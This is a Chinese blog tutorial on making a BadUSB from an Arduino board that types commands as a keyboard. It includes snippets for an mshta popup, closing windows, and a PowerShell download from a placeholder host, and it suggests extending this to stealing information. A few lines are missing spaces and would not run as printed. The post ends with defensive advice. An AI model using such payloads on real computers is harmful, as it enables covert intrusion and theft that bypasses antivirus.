简易BadUSB,攻击效果不简单

不久前,有小伙伴在实验室捡到一个U盘,想看看是谁的就插在了自己的电脑上,结果出现了安全软件的报毒通知……

也是因为这件事有了制作一个BadUSB的想法,可以在不被杀毒软件发现的情况下进行一些操作。

一、前期准备

Arduino:

这里使用的是BS Micro pro micro leonardo Arduino开发板。

 简易BadUSB,攻击效果不简单_第1张图片

Arduino IDE:

 简易BadUSB,攻击效果不简单_第2张图片

二、原理

BadUSB插入后会模拟键盘、鼠标对电脑进行操作,通过这些操作可以打开CMD或者Powershell并输入命令,通过这些命令可以进行简单操作或者更深一步从服务器下载文件执行。通过下载的.exe及.ps1等文件可以实现信息窃取、发送邮件等,从而达到控制目标机或者窃取信息等目的。

 

三、过程

(1)实现弹窗

关键代码:

Keyboard.press(KEY_LEFT_GUI);

Keyboard.press('r');

Keyboard.print("mshtavbscript:msgbox(\"lalala\",64,\"lalalatitle\")(window.close)");

Keyboard.press(KEY_RETURN);

 

(2)关闭所有窗口

关键代码:

Keyboard.press(KEY_LEFT_ALT);

Keyboard.press(KEY_F4);

Keyboard.press(KEY_RETURN);


正常情况下是Alt+F4循环使用的效果是关闭所有窗口,但很大概率会出现自动关机的状况……

 

(3)从服务器端下载文件

关键代码:

Keyboard.press(KEY_LEFT_CTRL);

Keyboard.press(KEY_ESC);

Keyboard.releaseAll();

 

Keyboard.print("powershell");

Keyboard.press(KEY_RETURN);

Keyboard.print("(new-objectSystem.Net.WebClient).DownloadFile('http://www.example.com/example.html','d:lalala.html')");


这里只是下载了一个命名为lalala.html的文件,如果下载一个可执行文件或者Powershell脚本可以做到更多的事!

 

因为BadUSB模仿的是键盘、鼠标操作,所以常规的安全软件、杀毒软件不能起作用,当然防范起来也很简单:只要不让不受你信任的USB插入你心爱的电脑就不存在安全问题。但是好奇心驱使下还是有很多人会将“捡到”的U盘插入自己的电脑看看是谁的U盘、里面有什么文件。看到这篇文章之后要对来路不明的USB设备多一点防备了。


你可能感兴趣的:(BadUSB)